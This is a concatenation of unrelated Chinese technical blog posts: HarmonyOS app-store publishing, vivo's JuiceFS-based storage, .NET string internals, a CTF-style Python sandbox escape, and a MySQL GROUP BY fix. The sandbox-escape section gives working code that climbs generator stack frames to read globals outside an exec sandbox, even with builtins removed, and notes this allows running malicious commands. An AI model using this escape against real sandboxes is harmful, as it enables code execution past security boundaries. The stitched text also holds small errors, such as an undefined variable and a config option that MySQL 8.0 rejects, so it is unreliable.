2024年10月

大家好,我是 V 哥。今天的文章来聊一聊HarmonyOS NEXT应用上架。当你开发、调试完HarmonyOS应用/元服务,就可以前往AppGallery Connect申请上架,华为审核通过后,用户即可在华为应用市场获取您的HarmonyOS应用/元服务。

HarmonyOS会通过数字证书与Profile文件等签名信息来保证应用的完整性,需要上架的HarmonyOS应用/元服务都必须通过签名校验,所以上架前,您需要先完成签名操作。

1.生成密钥和证书请求文件

  1. 打开DevEco Studio,菜单选择“Build > Generate Key and CSR”。
  2. Key Store File可以点击“Choose Existing”选择已有的密钥库文件(存储有密钥的.p12文件),跳转至步骤4继续配置;如果没有密钥库文件,点击“New”,跳转至步骤3进行创建。
  3. 在“Create Key Store”界面,填写密钥库信息后,点击“OK”。
  • Key Store File:设置密钥库文件存储路径,并填写p12文件名。
  • Password:设置密钥库密码,必须由大写字母、小写字母、数字和特殊符号中的两种以上字符的组合,长度至少为8位。请记住该密码,后续签名配置需要使用。
  • Confirm Password:再次输入密钥库密码。
  1. 在“Generate Key and CSR”界面继续填写密钥信息后,点击“Next”。
  • Alias:密钥的别名信息,用于标识密钥名称。请记住该别名,后续签名配置需要使用。
  • Password:密钥对应的密码,与密钥库密码保持一致,无需手动输入。
  • Validity:证书有效期,建议设置为25年及以上,覆盖元服务的完整生命周期。
  • Certificate:输入证书基本信息,如组织、城市或地区、国家码等。
  1. 在“Generate Key and CSR”界面设置CSR文件存储路径和CSR文件名,点击“Finish”。
  2. CSR文件创建成功后,将在存储路径下获取生成密钥库文件(.p12)和证书请求文件(.csr)。

2.申请发布证书

  1. 登录
    AppGallery Connect
    ,选择“用户与访问”。
  2. 左侧导航栏选择“证书管理”,进入“证书管理”页面,点击“新增证书”。

  1. 在弹出“新增证书”界面填写相关信息后,点击“提交”。

  1. 证书申请成功后,“证书管理”页面展示生成的证书内容。
  • 点击“下载”将生成的证书保存至本地。
  • 每个帐号最多申请1个发布证书,如果证书已过期或者无需使用,点击“废除”即可删除证书。

3.申请发布Profile

  1. 登录
    AppGallery Connect
    ,选择“我的项目”。
  2. 找到对应项目,点击项目卡片中需要发布的元服务。
  3. 导航选择“HarmonyOS应用 > HAP Provision Profile管理”,进入“管理HAP Provision Profile”页面,点击“添加”。

  1. 在“HarmonyAppProvision信息”界面填写相关信息,点击“提交”。

  1. 申请成功,即可在“管理HAP Provision Profile”页面查看Profile信息。点击“下载”,将文件下载到本地。

4.配置签名信息

  1. 打开DevEco Studio,菜单选择“File > Project Structure”,进入“Project Structure”界面。
  2. 导航选择“Project”,点击“Signing Configs”页签,填写相关信息后,点击“OK”。
    • Store File:密钥库文件,选择生成密钥和证书请求文件时生成的.p12文件。
    • Store Password:密钥库密码,需要与生成密钥和证书请求文件时设置的密钥库密码保持一致。
    • Key alias:密钥的别名信息,需要与生成密钥和证书请求文件时设置的别名保持一致。
    • Key password:密钥的密码,需要与生成密钥和证书请求文件时设置的密码保持一致。
    • Sign alg:固定设置为“SHA256withECDSA”。
    • Profile file:选择申请发布Profile时下载的.p7b文件。
    • Certpath file:选择申请发布Profile时下载的.cer文件。

5.编译打包

  1. 打开DevEco Studio,菜单选择“Build > Build Hap(s)/APP(s) > Build APP(s)”。
  2. 等待编译构建签名的HarmonyOS应用/元服务,编译完成后,可在工程目录build > outputs > default目录下获取用于上架的软件包。

6.上架HarmonyOS应用/元服务

  1. 登录
    AppGallery Connect
    ,选择“我的应用”。

  2. 在应用列表首页中点击“HarmonyOS”页签。

  3. 点击待发布的应用/元服务,在左侧导航栏选择“应用信息”菜单。

  4. 填写应用的基本信息,如语言,应用名称,应用介绍等,上传应用图标,所有配置完成后点击“保存”。

  5. 填写版本信息,如发布国家或地区、上传软件包、提交资质材料等,所有配置完成后点击右上角“提交审核”。等待审核结果就可以了。

在早期阶段,vivo AI 计算平台使用 GlusterFS 作为底层存储基座。随着数据规模的扩大和多种业务场景的接入,开始出现性能、维护等问题。为此,vivo 转而采用了自研的轩辕文件系统,该系统是基于 JuiceFS 开源版本开发的一款分布式文件存储方案。

本文将介绍 vivo 轩辕文件系统在 JuiceFS 基础之上开发的新特性。以及 vivo 针对一些关键场景,如样本数据读取速度慢和检查点写入环节的优化措施。此外,文章还将介绍 vivo 的技术规划包括 FUSE、 元数据引擎及 RDMA 通信等方面,希望能为在大规模 AI 场景使用 JuiceFS 的用户提供参考与启发。01 计算平台引入轩辕文件存储的背景

01 计算平台引入轩辕文件存储的背景

最初,vivo 的 AI 计算平台 使用 GlusterFS ,并由该团队自行维护。在使用过程中,团队遇到了一些问题。一是处理小文件时速度变得非常缓慢;二是当需要对 GlusterFS 进行机器扩容和数据平衡时,对业务产生了较大的影响。

随后,由于早期集群容量已满且未进行扩容,计算团队选择搭建了新的集群。然而,这导致了多个集群需要维护,从而增加了管理的复杂度。此外,作为平台方,他们在存储方面的投入人力有限,因此难以进行新特性开发。

他们了解到我们互联网部门正在研发文件存储解决方案,经过深入交流和测试。最终,他们决定将其数据存储迁移至我们的轩辕文件存储系统。

轩辕文件系统基于 JuiceFS 开源版,进行了二次开发,支持多种标准访问协议,包括 POSIX、HDFS 以及 Windows 上的 CIFS 协议。此外,我们还提供了文件恢复功能,该功能参考了商用解决方案,能够按照原路径进行数据恢复。

同时,我们的系统支持客户端热升级,这一功能在开源版本中也已经实现。另外,我们还支持用户名权限管理,默认使用本地 uid/gid 进行鉴权。在此基础上,我们还参考 JuiceFS 企业版实现了用户名鉴权功能。

下图是轩辕文件系统的架构图,与 JuiceFS 类似。在底层基座方面,我们使用 TikV 存储元数据,而数据则存储在我们自研的对象存储系统中。
特别值得一提的是,在 Windows 场景下,我们在 Samba 中开发了一个插件,该插件直接调用 JuiceFS API,从而为用户提供了一个在 Windows 上访问我们文件存储的通道

目前的 AI 计算平台存储流程如下:首先获取原始数据并通过一个包含 4 万个批处理任务的系统进行处理,生成样本库。这些样本库随后在 GPU 上训练,产生模型文件,这些模型文件被传输至在线系统用于推理。原始数据及处理后的样本库直接存储在轩辕文件系统中,由于其兼容 HDFS API,Spark 可以直接处理这些数据。模型文件也保存在轩辕中,并通过其提供的CSI插件,使在线推理系统能直接挂载并读取这些文件。

02 存储性能优化

训练阶段涉及存储的主要有两个重要方面:样本读和训练过程中的检查点( checkpoint) 保存。

环节1:加速样本读

为了提升样本加载的速度,我们开发了一个分布式读缓存层。在训练模型前,我们借助JuiceFS 提供的 warm up 功能,优先将本次训练所需的数据预加载至读缓存层。通过这种方式,训练数据可以直接从读缓存层获取,而无需从对象存储系统中拉取。通常情况下,直接从对象存储中读取数据需要花费十几至几十毫秒,但通过读缓存层则可将读取时间缩短至 10 毫秒以内,从而进显著提高了数据加载到 GPU的 速度。

环节2:检查点 (Checkpoint) 写入

在检查点写入方面,我们参考了
百度的方案
。具体而言,检查点数据首先被写入一个临时缓存区域(我们称之为“协管”区域,但此处可能指的是某种形式的中间缓存或暂存区),然后再逐步刷新到对象存储中。在这个过程中,我们也采用了单副本模式,因为检查点本身就是每隔一段时间保存的,即使某个时间段的检查点丢失,对整体训练的影响也是有限的。当然,我们也制定了一些策略来确保关键数据的安全性,并非所有数据都会进入这个中间缓存区域。通常,只有检查点文件和训练阶段的日志文件会被写入。如果训练中断,检查点文件可以从这个中间缓存区域中读取。

此外,当数据被写入并刷新到对象存储中时,我们并不会立即从检查点缓存中清除这些数据。因为训练过程中随时可能中断,如果此时检查点缓存中的数据被清除,而需要从对象存储中重新拉取,将会耗费较长时间。因此,我们设置了一个 TTL(生存时间)机制。例如,如果检查点数据每小时刷新一次到对象存储中,我们可以将 TTL 设置为 1.5 小时。这样,即使训练中断,我们也能确保检查点缓存中有一个最新的备份可供使用。

在开发写缓存的过程中,我们遇到了一个挑战。由于我们的客户端与写缓存之间的通信采用 gRPC 协议,该协议在数据反序列化时会重新申请内存以存储解析后的数据。在特定时间段内,如果写操作非常集中(例如在几十秒内),会导致大量的内存申请和释放。由于我们使用的是 Go 语言开发,其垃圾回收(GC)机制在这种情况下表现较慢,可能会导致写缓存的内存耗尽。

为了解决这个问题,我们调研了其他数据反序列化的方案。最终,我们采用了 Facebook 的 flatterbuffer 方案。与 gRPC 的 Pb 反序列化不同,flatterbuffer 在反序列化后可以直接使用数据,无需额外的解析步骤。通过这种方式,我们减少了内存的使用,与 Pb 相比,内存节省达到了 50%。同时,我们也对写性能进行了测试,发现使用 flatterbuffer 后,写性能提升了20%

环节3:在线推理,模型加载流量大

在用户进行在线推理时,我们注意到模型下载产生的流量极大,有时甚至会占满对象存储网关的带宽。深入分析这个场景后,我们发现存在众多实例,每个实例都会独立地将完整模型加载到内存中,并且这些实例几乎是同时开始加载模型的,这一行为造成了巨大的流量压力。

为解决此问题,我们借鉴了商业解决方案,采用了在 Pod 中实施逻辑分组的方法。在这种策略下,每个分组仅从底层存储读取一份完整模型,而分组内的各个节点则读取模型的部分文件,并通过节点间的数据共享(类似于 P2P 方式)来减少总体流量需求。这种方法显著降低了对底层对象存储带宽的占用,有效缓解了流量压力。

03 技术规划

libc 调用绕过 FUSE 内核,提升读写性能 下面这份图表来源于 ACM 期刊中的一篇论文。文中指出,在使用 FUSE 挂载时,请求的处理流程会先从用户态转移到内核态,然后再返回用户态。在这个流程中,上下文切换所带来的消耗是相当巨大的。

柱状图较高的部分代表原生的 FUSE,而柱状图较低的部分则代表经过优化的方案。

  • 小文件场景:原生的 FUSE 相较于优化方案,其上下文次数切换的数量差距达到了 1000 倍;
  • 大文件场景:原生的 FUSE 与优化方案之间的上下文次数切换的数量差距约为 100 倍;
  • 混合负载场景:同样显示出了巨大的上下文次数切换的数量差异。

在论文中提到,链路消耗的主要来源是上下文切换。因此,我们计划在 FUSE 这一层进行优化,主要针对元数据和小文件场景。目前,我们正在进行方案选型工作。

自研元数据引擎,文件语义下沉

我们还计划开发一个自己的元数据引擎。当前,我们使用的元数据引擎是基于 TiKV 的,但 TiKV 并不具备文件语义,所有的文件语义都是在客户端实现的。这给我们的特性开发工作带来了极大的不便。

同时,当多个节点同时写入一个 key 时,事务冲突也会非常频繁。近期,我们还遇到了进程会突然卡住的问题,持续时间从几分钟到十几分钟不等。这个问题一直未能得到解决。

另外,TiKV PD 组件为主节点 Active 模式,请求上 10 万后,时延上升明显,PD 节点(112核)CPU 使用率接近饱和。因此,我们正在尝试一些方案来降低主节点的 CPU 利用率,以观察是否能改善耗时问题。我们参考了一些论文,如
百度的 CFS 论文
,将所有的元数据操作尽量变成单机事务,以减少分布式事务的开销。

缓存层实现 RDMA

通信关于我们机房的 GPU 节点,它们目前使用的是 RDMA 网络。与缓存层的通信仍然使用 TCP 协议。我们有规划开发一个基于 RDMA 的通信方式,以实现客户端与缓存之间的低延迟、低 CPU 消耗的通信。

通过观察客户端的火焰图,我们发现 RPC 通信的耗时仍然非常明显。虽然写缓存的处理数据只需要一两毫秒,但客户端将数据上传到整个链路的耗时可能达到五六毫秒,甚至十毫秒。在客户端 CPU 非常繁忙的情况下,这个时间可能会达到二三十毫秒。而 RDMA 本身并不怎么消耗 CPU,内存消耗也比较少,因此我们认为这是一个值得尝试的解决方案。

String

字符串作为一种
特殊的
引用类型,是迄今为止.NET程序中使用最多的类型。可以说是万物皆可string

因此在分析dump的时候,大量字符串对象是很常见的现象

string的不可变性

string作为引用类型,那就意味是可以变化的.但在.NET中,它们默认不可变。
也就是说行为类似值类型,实际上是引用类型的特殊情况。
image

但是,"字符串具有不可变性"仅在.NET平台下成立,只是因为在BCL(Basic Class Library)中并未提供改变string内容的方法而已。
在C/C++/F# 中,是可以改变的。因此,我们完全可以在底层实现修改字符串内容

眼见为实

示例1

示例代码
        static void Main(string[] args)
        {
            var teststr = "aaa";
            Debugger.Break();
            Console.WriteLine(teststr);
            Console.ReadLine();
        }

image
可以看到,string的值为aaa

image
通过算法:address + 0x10 + 2 * sizeof(char) ,我们直接修改内存的内容

image

可以看到,同一个内存地址,里面的值已经从"aaa"变成了"aab".

示例2

点击查看代码
        static void Main(string[] args)
        {
            var str1 = "aaa";

            
            ref var c0 = ref MemoryMarshal.GetReference<char>(str1.AsSpan(0));
            c0 = '0';
            ref var c1 = ref MemoryMarshal.GetReference<char>(str1.AsSpan(1));
            c1 = '1';

            Console.WriteLine(str1);//从aaa变成了01a
        }

字符串的可变行为

那么在日常使用中,我们需要大量字符串拼接的时候。如何改进呢?
最常见的办法就是使用Stringbuilder.

Stringbuilder源码解析

 public sealed partial class StringBuilder : ISerializable
 {
 		//存储字符串的char[]
        internal char[] m_ChunkChars;

		//StringBuilder之间使用链表来关联
        internal StringBuilder? m_ChunkPrevious;
		
        public StringBuilder(string? value, int startIndex, int length, int capacity)
        {
            ArgumentOutOfRangeException.ThrowIfNegative(capacity);
            ArgumentOutOfRangeException.ThrowIfNegative(length);
            ArgumentOutOfRangeException.ThrowIfNegative(startIndex);

            value ??= string.Empty;

            if (startIndex > value.Length - length)
            {
                throw new ArgumentOutOfRangeException(nameof(length), SR.ArgumentOutOfRange_IndexLength);
            }

            m_MaxCapacity = int.MaxValue;
            if (capacity == 0)
            {
                capacity = DefaultCapacity;
            }
            capacity = Math.Max(capacity, length);

            m_ChunkChars = GC.AllocateUninitializedArray<char>(capacity);
            m_ChunkLength = length;

            value.AsSpan(startIndex, length).CopyTo(m_ChunkChars);
        }
		public StringBuilder Append(char value, int repeatCount)
        {
            if (repeatCount == 0)
            {
                return this;
            }

            char[] chunkChars = m_ChunkChars;
            int chunkLength = m_ChunkLength;


    		// 尝试在当前块中放入所有重复字符
    		// 使用与 Span<T>.Slice 相同的检查,以便在 64 位系统中进行折叠
    		// 因为 repeatCount 不能为负数,所以在 32 位系统中不会溢出
            if (((nuint)(uint)chunkLength + (nuint)(uint)repeatCount) <= (nuint)(uint)chunkChars.Length)
            {
				//使用Span高性能填充char[]
                chunkChars.AsSpan(chunkLength, repeatCount).Fill(value);
                m_ChunkLength += repeatCount;
            }
            else
            {
				//如果空间不足,则进行扩容
                AppendWithExpansion(value, repeatCount);
            }
            return this;
        }
		public override string ToString()
        {
			// 分配一个新的字符串用于存储结果
            string result = string.FastAllocateString(Length);
            StringBuilder? chunk = this;
            do
            {
                if (chunk.m_ChunkLength > 0)
                {
                   // 将这些值复制到局部变量中,以确保在多线程环境下的稳定性
                    char[] sourceArray = chunk.m_ChunkChars;
                    int chunkOffset = chunk.m_ChunkOffset;
                    int chunkLength = chunk.m_ChunkLength;

					// 使用内存移动复制数据到result中
                    Buffer.Memmove(
                        ref Unsafe.Add(ref result.GetRawStringData(), chunkOffset),
                        ref MemoryMarshal.GetArrayDataReference(sourceArray),
                        (nuint)chunkLength);
                }
				//移动到上一个StringBuilder中,链表式读取
                chunk = chunk.m_ChunkPrevious;
            }
            while (chunk != null);

            return result;
        }
 }

在Stringbuilder的内部,内部使用char[] m_ChunkChars将文本保存。并且使用Span方式直接高性能操作内存。
image

避免对象分配是改进代码性能的最常见方法
string.format/string.join/$"name={name}" 等常见函数均已在内部实现Stringbuilder

字符串为什么不可变?

那么既然string的反直觉,那么为什么要这么设计呢?原因有如下几点

  1. 安全性
    string的使用范围太广了,比如new Dictionary<string, string>(),用户token,文件路径。它们的用途都代表一个key,如果这个key能被程序随意修改。那么将毫无安全性可言。
  2. 并发性
    正因为string使用范围大,所以很多场景都可能存在并发访问,如果可变,那么需要承担额外的同步开销。

为什么string不是一个结构?

上面说了这么多,结构完美满足了不可变/并发安全 这两个条件,那为什么不把string定义为结构?
其核心原因在于,结构的传值语义会导致频繁
复制字符串
而复制大字符串的开销太大了,因此使用传引用语义要
高效
得多

JSON 的序列化/反序列化就是一个典型的例子

字符串暂存

.NET Rumtime内部有一个string interning 机制
当两个字符串一模一样的时候,不需要在内存中存两份。只保留一份即可

但字符串暂存有个限制,默认情况下是只暂存静态创建的字符串的。也就是静态值才会被暂存起来.由JIT来判断是否暂存

举个例子
        static void Main(string[] args)
        {
            var s1 = "hello world";
            var s2 = "hello ";
            var s3 = "world";

            Console.WriteLine(string.ReferenceEquals(global,s1));  //True ,两者一致,只保留一个变量
            Console.WriteLine(string.ReferenceEquals(s1, s2 + s3));//False s2+s3是动态的,不暂存

            Console.ReadLine();
        }

究其原因是因为这样做开销巨大,创建一个新字符串时,runtime需要动态的检测它是否已被暂存。如果被检测的字符串相当庞大或数量特别多,那么
花销同样也很大

FCL提供了显式API string.IsInterned/string.Intern 来让我们可以主动暂存字符串。

字符串被暂存在哪里?

https://github.com/dotnet/runtime/blob/main/src/coreclr/vm/stringliteralmap.cpp

这时大家可以思考一下,暂存的字符串跟静态变量有什么区别? 都是永远不会被释放的对象
因此可以猜到。字符串应该是被暂存在AppDomain中。与高频堆应该相邻在一起.

在.NET内部Appdomain中,有一个私有堆叫String Literal Map的对象,内部存储着字符串的hash与一个内存地址。
内存地址指向另外一个数据结构LargeHeapHandleTable .位于LOH堆中,LargeHeapHandleTable内部包含了对字符串实例的引用
image

在正常情况下,只有>85000字节的才会被分配到LOH堆中,LargeHeapHandleTable就是一个典型的例外。一些不会被回收/很难被回收的对象即使没有超过85000也会分配在LOH堆中。因为这样可以减少GC的工作量(不会升代,不会压缩)

眼见为实

挖坑待埋
,sos并未提供String Literal Map的堆地址,待我摸索几天
image

安全字符串

在使用string的过程中,可能包含敏感对象。比如Password.
String对象内部使用char[]来承载。因此携带敏感信息的string。被执行了unsafe或者非托管代码的时候。就有可能被扫描内存。
只有对象被GC回收后,才是安全的。但是中间的时间差足够被扫描N次了。

为了解决此问题,在FCL中添加了SecureString类。作为上位替代

  1. 内部使用UnmanagedBuffer来代替char[]
public sealed partial class SecureString : IDisposable
{
		private readonly object _methodLock = new object();//同步锁
        private UnmanagedBuffer? _buffer; //使用UnmanagedBuffer代替char[]
		public SecureString()
        {
			_buffer = UnmanagedBuffer.Allocate(GetAlignedByteSize(value.Length));
            _decryptedLength = value.Length;

            SafeBuffer? bufferToRelease = null;
            try
            {
                Span<char> span = AcquireSpan(ref bufferToRelease);
                value.CopyTo(span);
            }
            finally
            {
                ProtectMemory();
                bufferToRelease?.DangerousRelease();
            }
        }

		
		public void AppendChar(char c)
        {
            lock (_methodLock)
            {
                EnsureNotDisposed();
                EnsureNotReadOnly();

                Debug.Assert(_buffer != null);

                SafeBuffer? bufferToRelease = null;

                try
                {
				    //解密内存以便进行修改
                    UnprotectMemory();

                    EnsureCapacity(_decryptedLength + 1);

                    Span<char> span = AcquireSpan(ref bufferToRelease);
                    span[_decryptedLength] = c;
                    _decryptedLength++;
                }
                finally
                {
					//重新加密
                    ProtectMemory();
                    bufferToRelease?.DangerousRelease();
                }
            }
        }
}
  1. 实现了IDisposable接口,开发可以手动执行Dispose().对内存缓冲区直接清零,确保恶意代码无法获得敏感信息

        public void Dispose()
        {
            lock (_methodLock)
            {
                if (_buffer != null)
                {
                    _buffer.Dispose();
                    _buffer = null;
                }
            }
        }

安全字符串真的安全吗?

SecureString的目的是避免在
进程中
使用纯文本存储机密信息
SecureString的底层本质上也是一段未加密的char[],由FCL进行数据加密/解密。
因此只有.NET Framework 中,内部的char[]由windows提供支持,是加密的
但在.NET Core中,其他平台并未提供系统层面的支持

https://github.com/dotnet/platform-compat/blob/master/docs/DE0001.md

因此,个人认为真正的"银弹". 是数据本身就是加密的。比如从数据库中存储就是加密内容,或者配置文件中本身就是加密的。因为操作系统
没有安全字符串
的概念。

恶意代码只要能读内存,且内存本身未加密。那么在CLR层上就是裸奔

前言

以前在一些大型比赛就遇到这种题,一直没时间去研究,现在康复训练下:)

生成器介绍

生成器(Generator)是Python中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存储在内存中。

Simple Demo

这里定义一个生成器函数, 生成器使用
yield
语句来产生值,每次调用生成器的
next()
方法时,生成器会执行直到遇到下一个
yield
语句为止,然后返回
yield
语句后面的值,也就是
a
的值

def f():
    a = 1
    while True:
        yield a
        a+=1
f = f()
print(next(f))  # 1
print(next(f))  # 2

也可以遍历获取所有的自增值

def f():
    a = 1
    for i in range(1, 100):
        yield a
        a+=1
f = f()
for value in f:
    print(value)

生成器表达式

生成器表达式是一种在 Python 中创建生成器的紧凑形式。类似于列表推导式,生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。生成器表达式的语法与列表推导式类似,但是使用圆括号而不是方括号。生成器表达式会逐个生成值,而不是一次性生成整个序列。这有利于提高内存的利用率

f = (i+1 for i in range(100))
# 可以用next一步步获取值
print(next(f))
# 也可以遍历的形式获取全部值
for value in f:
    print(value)

生成器属性

gi_code
: 生成器对应的code对象。
gi_frame
: 生成器对应的frame(栈帧)对象。
gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。

gi_frame使用

gi_frame
是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

以上例子展示了如何获取生成器的帧信息

栈帧(frame)介绍

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟c/c++中的栈类似,懂点逆向知识应该很好理解)

栈帧包含了以下几个重要的属性:
f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名。
f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。
f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti
: 整数,表示最后执行的字节码指令的索引。
f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。

利用栈帧(frame)逃逸沙箱

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])  # this is flag

逃逸出来我们就可以调用沙箱外的方法来执行恶意命令了

globals中的__builtins__字段

__builtins__
模块是 Python 解释器启动时自动加载的,其中包含了一系列内置函数、异常和其他内置对象。

当代码这么设计时:

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这里将沙箱中的
__builtins__
置为空,也就是说沙箱中不能调用内置方法了,那我们这段代码运行就会报错了(next方法不能使用),那么该如何代替next方法来拿到生成器的值,还记得上面说可以遍历的形式来获取生成器的值:

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = [i for i in g][0] #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这样可以成功拿到key的值,不过这里需要注意的是在给
b
赋值时,多加了一个
f_back
,因为我们用这种列表推导式拿到生成器的值,它的code对象是不同的:

frame = next(g)
<frame at 0x00000235C9718440, file '', line 7, code waff>

frame = [i for i in g][0]
<frame at 0x000002708F2ED8C0, file '', line 9, code <listcomp>>

列表推到式拿到的生成器的code对象是
listcomp
,所以我们还得拿上一个栈帧,所以需要再
f_back
一下

一些简便写法

例如:

q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
g = [*q][0]
  • 第一行生成器创建时,并不会直接执行,只是存储在内存中。
  • 第二行对生成器解包,解包的同时会触发生成器调用,此时才开始执行q.gi_frame.f_back.f_back.f_globals。
  • exec调用时,创建一个新栈帧;生成器q被执行时,又创建一个新栈帧。所以当我们拿到q.gi_frame时,需要回溯两次才到达exec之外。
  • 再拿一个f_globals,就得到了沙箱外的的globals

一、问题

本人使用的MySql版本是8.0的

当MySql5.7及以上的版本执行带有 ORDER BY 的SQL语句时可能会报错。

例如,执行以下mysql语句:

SELECT id, user_id, title FROM m_article WHERE user_id>=100 AND user_id <=200 GROUP BY user_id;

SQL报错信息如下:

1055 - Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'test.m_article.id' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

二、分析原因

SQL-92及更早版本的查询不允许使用select列表、HAVING条件或ORDER BY列表引用未在GROUP BY子句中命名的非聚合列。

简单来说:由于sql-mode的参数配置了ONLY_FULL_GROUP_BY,这时 select 的字段不在 group by 中,并且 select 的字段未使用聚合函数(SUM,MAX,MIN等)的话,那么这条SQL查询是被 MySql 认为非法。

MySql官方文档:
https://dev.mysql.com/doc/refman/8.0/en/group-by-handling.html

三、解决方法

1、不修改 sql-mode 的参数情况下

1.1、以本文中的例句修改,在原来的 ORDER BY 后面多加一个主键。

1.2、以本文中的例句修改,使用ANY_VALUE()函数,把非 GROUP BY 列中的字段和没有使用聚合函数的都加上。使用ANY_VALUE()不检查函数结果是否为ONLY_FULL_GROUP_BY SQL模式。

MySql官方文档:
https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_any-value

2、修改 sql-mode 的参数

2.2、使用SQL语句临时修改。

SET sql_mode ='STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION';

2.3、修改 MySql 的配置文件,这种方式配置完成后都要重启MySql。

2.3.1、Linux 中找到 MySql 配置文件,文件名一般叫【my.cnf】,文件路径一般在:/etc/my.cnf,/etc/mysql/my.cnf。打开【my.cnf】文件后,就在  [mysqld] 下面追加一行即可。

sql-mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

2.3.2、Windows 中找到【my.ini】文件,打开后在  [mysqld] 下面追加一行即可。

sql-mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION